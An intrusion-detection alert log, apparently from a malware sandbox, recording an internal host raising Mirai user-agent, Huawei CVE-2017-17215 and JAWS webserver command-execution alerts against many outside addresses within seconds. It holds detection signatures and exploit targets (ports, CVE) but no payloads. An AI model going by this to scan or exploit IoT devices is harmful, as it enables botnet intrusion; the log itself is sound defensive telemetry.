2024-12-03T23:02:16.987336+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55660	197.174.22.109	37215	TCP
2024-12-03T23:02:16.987460+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33060	156.191.133.121	37215	TCP
2024-12-03T23:02:16.987560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53180	156.1.156.161	37215	TCP
2024-12-03T23:02:17.038096+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41106	197.32.245.136	37215	TCP
2024-12-03T23:02:17.151827+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60726	61.110.206.21	80	TCP
2024-12-03T23:02:17.151827+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60726	61.110.206.21	80	TCP
2024-12-03T23:02:17.174881+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48142	152.212.240.188	80	TCP
2024-12-03T23:02:17.174881+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48142	152.212.240.188	80	TCP
2024-12-03T23:02:17.197377+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33208	173.72.159.111	80	TCP
2024-12-03T23:02:17.197377+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33208	173.72.159.111	80	TCP
2024-12-03T23:02:17.197580+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54382	198.165.232.52	80	TCP
2024-12-03T23:02:17.197580+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54382	198.165.232.52	80	TCP
2024-12-03T23:02:17.197641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58878	109.62.119.7	80	TCP
2024-12-03T23:02:17.197641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58878	109.62.119.7	80	TCP
2024-12-03T23:02:17.206393+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49510	173.230.32.46	80	TCP
2024-12-03T23:02:17.206393+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49510	173.230.32.46	80	TCP
2024-12-03T23:02:17.206500+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50164	102.137.240.134	80	TCP
2024-12-03T23:02:17.206500+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50164	102.137.240.134	80	TCP
2024-12-03T23:02:17.237570+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36248	201.125.207.171	80	TCP
2024-12-03T23:02:17.237570+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36248	201.125.207.171	80	TCP
2024-12-03T23:02:17.253134+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45998	153.78.233.79	80	TCP
2024-12-03T23:02:17.253134+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45998	153.78.233.79	80	TCP
2024-12-03T23:02:17.275064+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35566	78.65.198.150	80	TCP
2024-12-03T23:02:17.275064+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35566	78.65.198.150	80	TCP
2024-12-03T23:02:17.282056+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44888	197.232.54.243	37215	TCP
2024-12-03T23:02:17.290619+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55630	8.255.164.128	80	TCP
2024-12-03T23:02:17.290619+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55630	8.255.164.128	80	TCP
2024-12-03T23:02:17.306364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52372	175.75.70.54	80	TCP
2024-12-03T23:02:17.306364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52372	175.75.70.54	80	TCP
2024-12-03T23:02:17.310407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57092	197.218.205.133	37215	TCP
2024-12-03T23:02:17.315466+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48998	176.1.7.9	80	TCP
2024-12-03T23:02:17.315466+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48998	176.1.7.9	80	TCP
2024-12-03T23:02:17.315648+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49178	124.224.219.168	80	TCP
2024-12-03T23:02:17.315648+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49178	124.224.219.168	80	TCP
2024-12-03T23:02:17.315809+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57802	137.224.169.141	80	TCP
2024-12-03T23:02:17.315809+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57802	137.224.169.141	80	TCP
2024-12-03T23:02:17.321804+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54236	208.132.145.179	80	TCP
2024-12-03T23:02:17.321804+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54236	208.132.145.179	80	TCP
2024-12-03T23:02:17.331101+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37594	159.108.60.226	80	TCP
2024-12-03T23:02:17.331101+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37594	159.108.60.226	80	TCP
2024-12-03T23:02:17.331226+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40114	212.53.111.208	80	TCP
2024-12-03T23:02:17.331226+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40114	212.53.111.208	80	TCP
2024-12-03T23:02:17.363064+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35558	85.42.189.137	80	TCP
2024-12-03T23:02:17.363064+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35558	85.42.189.137	80	TCP
2024-12-03T23:02:17.363187+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56716	173.230.39.235	80	TCP
2024-12-03T23:02:17.363187+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56716	173.230.39.235	80	TCP
2024-12-03T23:02:17.378073+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59728	105.172.5.168	80	TCP
2024-12-03T23:02:17.378073+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59728	105.172.5.168	80	TCP
2024-12-03T23:02:18.044631+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54064	197.191.214.20	37215	TCP
2024-12-03T23:02:18.132988+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45092	163.172.255.118	80	TCP
2024-12-03T23:02:18.132988+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45092	163.172.255.118	80	TCP
2024-12-03T23:02:18.185218+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49696	68.152.141.251	80	TCP
2024-12-03T23:02:18.185218+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49696	68.152.141.251	80	TCP
2024-12-03T23:02:18.197973+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39326	117.50.49.125	80	TCP
2024-12-03T23:02:18.197973+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39326	117.50.49.125	80	TCP
2024-12-03T23:02:18.198194+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34190	25.167.5.214	80	TCP
2024-12-03T23:02:18.198194+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34190	25.167.5.214	80	TCP
2024-12-03T23:02:18.198269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35602	144.147.255.221	80	TCP
2024-12-03T23:02:18.198269+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35602	144.147.255.221	80	TCP
2024-12-03T23:02:18.198354+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53000	203.176.98.178	80	TCP
2024-12-03T23:02:18.198354+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53000	203.176.98.178	80	TCP
2024-12-03T23:02:18.206712+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45984	141.145.232.229	80	TCP
2024-12-03T23:02:18.206712+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45984	141.145.232.229	80	TCP
2024-12-03T23:02:18.206899+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56908	158.79.170.58	80	TCP
2024-12-03T23:02:18.206899+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56908	158.79.170.58	80	TCP
2024-12-03T23:02:18.207666+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47508	164.21.186.72	80	TCP
2024-12-03T23:02:18.207666+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47508	164.21.186.72	80	TCP
2024-12-03T23:02:18.244118+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56764	156.191.36.93	37215	TCP
2024-12-03T23:02:18.244288+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56596	197.175.190.91	37215	TCP
2024-12-03T23:02:18.275583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60630	41.206.186.43	37215	TCP
2024-12-03T23:02:18.275706+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57656	156.207.68.217	37215	TCP
2024-12-03T23:02:18.275819+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60342	156.64.9.169	37215	TCP
2024-12-03T23:02:18.316093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49320	41.54.199.196	37215	TCP
2024-12-03T23:02:18.316106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48012	156.33.52.217	37215	TCP
2024-12-03T23:02:18.386708+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54240	41.92.111.44	37215	TCP
2024-12-03T23:02:18.386961+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45350	156.131.234.245	37215	TCP
2024-12-03T23:02:18.431348+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38986	223.91.116.75	80	TCP
2024-12-03T23:02:18.431348+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38986	223.91.116.75	80	TCP
2024-12-03T23:02:18.456574+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60352	50.162.207.43	80	TCP
2024-12-03T23:02:18.456574+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60352	50.162.207.43	80	TCP
2024-12-03T23:02:18.487562+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47664	204.186.97.165	80	TCP
2024-12-03T23:02:18.487562+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47664	204.186.97.165	80	TCP
2024-12-03T23:02:18.534336+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53792	72.71.46.23	80	TCP
2024-12-03T23:02:18.534336+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53792	72.71.46.23	80	TCP
2024-12-03T23:02:18.946946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36032	156.131.78.126	37215	TCP
2024-12-03T23:02:18.947076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53578	197.221.56.147	37215	TCP
2024-12-03T23:02:18.956234+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60600	197.192.25.36	37215	TCP
2024-12-03T23:02:19.207436+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52296	209.173.84.48	80	TCP
2024-12-03T23:02:19.207436+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52296	209.173.84.48	80	TCP
2024-12-03T23:02:19.243795+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47154	41.141.61.3	37215	TCP
2024-12-03T23:02:19.243940+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36858	197.99.153.20	37215	TCP
2024-12-03T23:02:19.300052+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47124	197.67.155.19	37215	TCP
2024-12-03T23:02:19.384539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40346	197.159.140.182	37215	TCP
2024-12-03T23:02:19.393514+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42888	156.199.133.10	37215	TCP
2024-12-03T23:02:19.400154+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33484	41.224.91.196	37215	TCP
2024-12-03T23:02:19.425289+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48018	41.121.183.143	37215	TCP
2024-12-03T23:02:19.431410+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60336	207.211.198.16	80	TCP
2024-12-03T23:02:19.431410+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60336	207.211.198.16	80	TCP
2024-12-03T23:02:19.431575+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35728	206.102.146.57	80	TCP
2024-12-03T23:02:19.431575+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35728	206.102.146.57	80	TCP
2024-12-03T23:02:19.450445+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52144	149.156.227.51	80	TCP
2024-12-03T23:02:19.450445+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52144	149.156.227.51	80	TCP
2024-12-03T23:02:19.450450+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59710	121.249.204.73	80	TCP
2024-12-03T23:02:19.450450+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59710	121.249.204.73	80	TCP
2024-12-03T23:02:19.456303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54492	197.240.9.178	37215	TCP
2024-12-03T23:02:19.456444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51474	197.156.215.79	37215	TCP
2024-12-03T23:02:19.462673+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46176	173.126.146.75	80	TCP
2024-12-03T23:02:19.462673+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46176	173.126.146.75	80	TCP
2024-12-03T23:02:19.478249+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48550	128.223.79.236	80	TCP
2024-12-03T23:02:19.478249+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48550	128.223.79.236	80	TCP
2024-12-03T23:02:20.069121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36870	156.195.152.128	37215	TCP
2024-12-03T23:02:20.384523+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59988	41.43.234.19	37215	TCP
2024-12-03T23:02:20.400052+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50382	41.62.51.45	37215	TCP
2024-12-03T23:02:20.431270+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44558	197.22.131.223	37215	TCP
2024-12-03T23:02:20.432278+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58404	156.231.12.154	37215	TCP
2024-12-03T23:02:20.446878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40154	197.127.169.46	37215	TCP
2024-12-03T23:02:20.447009+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46322	156.40.232.29	37215	TCP
2024-12-03T23:02:20.456122+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46650	156.5.80.225	37215	TCP
2024-12-03T23:02:20.456205+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43598	197.210.72.1	37215	TCP
2024-12-03T23:02:20.469923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38462	41.173.232.151	37215	TCP
2024-12-03T23:02:20.493843+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47650	25.10.197.174	80	TCP
2024-12-03T23:02:20.493843+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47650	25.10.197.174	80	TCP
2024-12-03T23:02:20.525129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39800	41.62.95.14	37215	TCP
2024-12-03T23:02:20.525282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38652	156.105.25.60	37215	TCP
2024-12-03T23:02:20.534868+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34980	217.200.202.101	80	TCP
2024-12-03T23:02:20.534868+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34980	217.200.202.101	80	TCP
2024-12-03T23:02:20.535033+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38074	69.189.168.77	80	TCP
2024-12-03T23:02:20.535033+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38074	69.189.168.77	80	TCP
2024-12-03T23:02:20.572308+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37732	131.122.230.5	80	TCP
2024-12-03T23:02:20.572308+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37732	131.122.230.5	80	TCP
2024-12-03T23:02:20.572342+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34218	174.54.4.5	80	TCP
2024-12-03T23:02:20.572342+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34218	174.54.4.5	80	TCP
2024-12-03T23:02:20.572398+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49702	41.140.250.130	37215	TCP
2024-12-03T23:02:20.581428+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52530	197.116.252.57	37215	TCP
2024-12-03T23:02:20.597030+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52868	98.112.149.204	80	TCP
2024-12-03T23:02:20.597030+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52868	98.112.149.204	80	TCP
2024-12-03T23:02:20.597121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54740	41.89.102.223	37215	TCP
2024-12-03T23:02:20.597262+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37208	197.57.148.161	37215	TCP
2024-12-03T23:02:20.619725+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47178	166.78.173.116	80	TCP
2024-12-03T23:02:20.619725+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47178	166.78.173.116	80	TCP
2024-12-03T23:02:20.621014+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56348	170.169.198.71	80	TCP
2024-12-03T23:02:20.621014+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56348	170.169.198.71	80	TCP
2024-12-03T23:02:20.675228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37954	210.121.128.46	80	TCP
2024-12-03T23:02:20.675228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37954	210.121.128.46	80	TCP
2024-12-03T23:02:21.650481+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44554	143.74.7.16	80	TCP
2024-12-03T23:02:21.650481+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44554	143.74.7.16	80	TCP
2024-12-03T23:02:21.659546+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56060	13.251.158.65	80	TCP
2024-12-03T23:02:21.659546+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56060	13.251.158.65	80	TCP
2024-12-03T23:02:21.675514+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34908	65.92.219.15	80	TCP
2024-12-03T23:02:21.675514+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34908	65.92.219.15	80	TCP
2024-12-03T23:02:21.697494+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43764	41.140.12.153	37215	TCP
2024-12-03T23:02:21.697507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39688	197.93.17.171	37215	TCP
2024-12-03T23:02:21.737720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48160	197.95.181.147	37215	TCP
2024-12-03T23:02:21.737965+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54318	156.16.141.164	37215	TCP
2024-12-03T23:02:21.784393+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59872	41.224.43.94	37215	TCP
2024-12-03T23:02:21.784774+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57642	41.194.8.24	37215	TCP
2024-12-03T23:02:21.822140+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55196	199.52.65.11	80	TCP
2024-12-03T23:02:21.822140+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55196	199.52.65.11	80	TCP
2024-12-03T23:02:21.822342+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36620	207.42.102.162	80	TCP
2024-12-03T23:02:21.822342+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36620	207.42.102.162	80	TCP
2024-12-03T23:02:21.831349+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34098	93.111.230.102	80	TCP
2024-12-03T23:02:21.831349+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34098	93.111.230.102	80	TCP
2024-12-03T23:02:21.848879+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55102	50.206.223.170	80	TCP
2024-12-03T23:02:21.848879+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55102	50.206.223.170	80	TCP
2024-12-03T23:02:21.878154+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40278	176.0.211.143	80	TCP
2024-12-03T23:02:21.878154+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40278	176.0.211.143	80	TCP
2024-12-03T23:02:21.878403+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37022	58.165.207.166	80	TCP
2024-12-03T23:02:21.878403+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37022	58.165.207.166	80	TCP
2024-12-03T23:02:22.478471+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41306	126.82.92.65	80	TCP
2024-12-03T23:02:22.478471+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41306	126.82.92.65	80	TCP
2024-12-03T23:02:22.478574+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51746	60.161.100.78	80	TCP
2024-12-03T23:02:22.478574+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51746	60.161.100.78	80	TCP
2024-12-03T23:02:22.494057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37636	208.48.134.72	80	TCP
2024-12-03T23:02:22.494057+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37636	208.48.134.72	80	TCP
2024-12-03T23:02:22.503362+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34032	119.237.14.234	80	TCP
2024-12-03T23:02:22.503362+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34032	119.237.14.234	80	TCP
2024-12-03T23:02:22.509479+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53724	49.191.180.50	80	TCP
2024-12-03T23:02:22.509479+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53724	49.191.180.50	80	TCP
2024-12-03T23:02:22.518805+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56448	50.215.179.246	80	TCP
2024-12-03T23:02:22.518805+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56448	50.215.179.246	80	TCP
2024-12-03T23:02:22.518873+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57236	32.44.232.39	80	TCP
2024-12-03T23:02:22.518873+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57236	32.44.232.39	80	TCP
